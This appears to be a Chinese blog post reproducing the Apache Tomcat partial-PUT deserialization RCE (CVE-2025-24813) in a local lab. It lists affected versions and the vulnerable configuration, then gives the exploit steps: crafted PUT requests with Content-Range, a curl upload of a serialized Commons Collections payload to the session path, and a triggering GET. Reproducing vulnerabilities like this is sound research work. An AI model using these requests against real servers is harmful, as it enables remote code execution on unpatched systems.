Apache Tomcat RCE漏洞复现(CVE-2025-24813)

Apache Tomcat RCE漏洞复现(CVE-2025-24813)

 近日官方披露 Apache Tomcat partial PUT文件上传反序列化漏洞。在 CVE-2025-24813 中tomcat开启文件会话持久化,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化。 

漏洞描述

该漏洞的核心在于 Tomcat 在处理不完整PUT请求上传时,会使用了一个基于用户提供的文件名和路径生成的临时文件。

若同时满足以下条件,攻击者可执行任意代码:

默认 Servlet 启用了写权限(默认禁用)

启用了部分PUT请求支持(默认启用)

应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)

应用程序包含可被利用于反序列化攻击的库

受影响版本

Apache Tomcat 11.0.0-M1 至 11.0.2

Apache Tomcat 10.1.0-M1 至 10.1.34

Apache Tomcat 9.0.0-M1 至 9.0.98

漏洞环境搭建

尝试使用 Tomcat 9.0.98 版本复现:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip

根据里利用条件描述:

需要在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能

<init-param>

    <param-name>readonly</param-name>

    <param-value>false</param-value>

</init-param>

需要在conf/context.xml中,开启File文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">

    <Store className="org.apache.catalina.session.FileStore"/>

</Manager>

PUT方法默认是启用状态

需要在项目中包含可被利用于反序列化攻击的库(例如 Commons Collections 3.2.1)

下载 commons-collections-3.2.1.jar(https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1)

将该 jar 包放入webapps\ROOT\WEB-INF\lib目录下

利用条件准备完毕,启动 Tomcat 程序:.\bin\catalina.bat run(若是在 liunx/mac 环境下则改用 catalina.sh ),浏览器访问本地8080端口查看是否启动成功。

漏洞复现

参考@jweny大佬文章:https://forum.butian.net/article/674

使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录work\Catalina\localhost\ROOT。

在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。

所以利用这个特点,可以分段上传覆盖或注入敏感文件,尝试下向默认存储位置 work\Catalina\localhost\ROOT 注入文件:

PUT /poc/session HTTP/1.1

Host: localhost:8080

Content-Range: bytes 0-1000/1200

{{(paylaod...)}}

注意看ROOT目录下成功写入了文件(.poc.session):

Tomcat 对不完整的PUT请求上传时的文件名处理机制:文件路径中的分隔符 / 会被转换为 .

准备生成一个恶意的序列化文件上传,推荐使用 Java Chains 快速生成一个base64编码的cc链反序列化payload,这里选择用K1链来弹计算器:

准备好PUT请求包,这里需要注意 Content-Range 的分块值需要大于当前文件的长度。这里使用yakit的base64dec()标签对payload进行解码上传,直接上传Raw格式Payload是不可用的。

或者使用curl直接上传bin格式Payload文件:

curl -X PUT -H "Content-Range: bytes 0-1000/1200" --data-binary @payload.ser http://localhost:8080/poc/session

当Payload文件被上传成功后,大约30s之内就会被自动触

发,随之该session文件被清除。

也可以使用以下poc直接触发:

GET / HTTP/1.1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

牛马程序员2025

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值